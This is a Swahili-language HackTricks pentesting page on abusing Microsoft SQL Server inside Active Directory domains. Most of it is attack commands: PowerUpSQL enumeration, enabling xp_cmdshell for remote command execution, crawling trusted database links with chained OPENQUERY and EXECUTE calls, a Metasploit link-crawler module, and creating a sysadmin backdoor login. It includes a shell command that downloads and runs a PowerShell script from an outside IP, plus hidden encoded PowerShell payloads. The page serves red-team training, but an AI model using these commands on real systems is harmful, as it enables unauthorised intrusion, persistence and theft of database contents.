MSSQL AD Abuse

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Je, unafanya kazi katika kampuni ya usalama wa mtandao? Unataka kuona kampuni yako ikionekana kwenye HackTricks? au unataka kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Pata swagi rasmi ya PEASS & HackTricks
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuata kwenye Twitter 🐦@carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa repo ya hacktricks na repo ya hacktricks-cloud.

Uorodheshaji / Ugunduzi wa MSSQL

Moduli ya powershell PowerUpSQL ni muhimu sana katika kesi hii.

Import-Module .\PowerupSQL.psd1

Kuchunguza kutoka kwenye mtandao bila kikao cha kikoa

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Kuchunguza kutoka ndani ya kikoa

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Matumizi Makuu ya MSSQL

Kufikia DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Inawezekana pia kutekeleza amri ndani ya mwenyeji wa MSSQL

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Mbinu za Msingi za Kudukua MSSQL

page1433 - Pentesting MSSQL - Microsoft SQL Server

Viungo Vilivyothibitishwa vya MSSQL

Ikiwa kipengee cha MSSQL kinaaminika (kiungo cha database) na kipengee kingine cha MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyothibitishwa, ataweza kutumia uhusiano wa kuaminika kutekeleza maswali pia kwenye kipengee kingine. Viungo hivi vinaweza kuunganishwa na kufikia hatua ambapo mtumiaji anaweza kupata database iliyo na mipangilio isiyosahihi ambapo anaweza kutekeleza amri.

Viungo kati ya databases hufanya kazi hata kati ya uaminifu wa misitu.

Mabaya ya Powershell

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Unaweza kwa urahisi kuchunguza viungo vinavyoaminika kwa kutumia metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Notice kwamba metasploit itajaribu kutumia tu kazi ya openquery() katika MSSQL (kwa hivyo, ikiwa huwezi kutekeleza amri na openquery() utahitaji kujaribu njia ya EXECUTE kwa mkono kutekeleza amri, angalia zaidi hapa chini.)

Kwa Mkono - Openquery()

Kutoka Linux unaweza kupata kabati la kidhibiti cha MSSQL na sqsh na mssqlclient.py.

Kutoka Windows unaweza pia kupata viungo na kutekeleza amri kwa mkono ukitumia mteja wa MSSQL kama HeidiSQL

Aingie kwa kutumia uthibitisho wa Windows:

Pata Viungo Vinavyoweza Kutiliwa Mshangao

select * from master..sysservers;
EXEC sp_linkedservers;

Tekeleza maswali katika kiungo kinachoweza kuhimilika

Tekeleza maswali kupitia kiungo (mfano: pata viungo zaidi katika kifaa kipya kinachoweza kufikiwa):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

Angalia mahali ambapo alama za nukuu mbili na moja hutumika, ni muhimu kutumia kwa njia hiyo.

Unaweza kuendelea mnyororo huu wa viungo vilivyothibitishwa milele kwa mkono.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Ikiwa huwezi kutekeleza vitendo kama exec xp_cmdshell kutoka openquery() jaribu na njia ya EXECUTE.

Mwongozo - EXECUTE

Unaweza pia kutumia viungo vilivyothibitishwa kwa kutumia EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Kupandisha Mamlaka ya Mahali

Mtumiaji wa ndani wa MSSQL kawaida ana aina maalum ya mamlaka inayoitwa SeImpersonatePrivilege. Hii inaruhusu akaunti hiyo "kujifanya kuwa mteja baada ya uwakilishi".

Stratejia ambayo waandishi wengi wamebuni ni kulazimisha huduma ya SYSTEM kujithibitisha kwa huduma ya mwongo au ya kati ambayo mkaidi hujenga. Huduma hii ya mkaidi inaweza kujifanya kuwa huduma ya SYSTEM wakati inajaribu kujithibitisha.

SweetPotato ina mkusanyiko wa njia hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya execute-assembly ya Beacon.

Websec | Uw Cybersecurity Specialist

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, unataka kuona kampuni yako ikionyeshwa katika HackTricks? au unataka kupata upatikanaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Pata bidhaa rasmi za PEASS & HackTricks
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata kwenye Twitter 🐦@carlospolopm.
Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa repo ya hacktricks na repo ya hacktricks-cloud.

PreviousLAPS NextOver Pass the Hash/Pass the Key

Last updated 3 days ago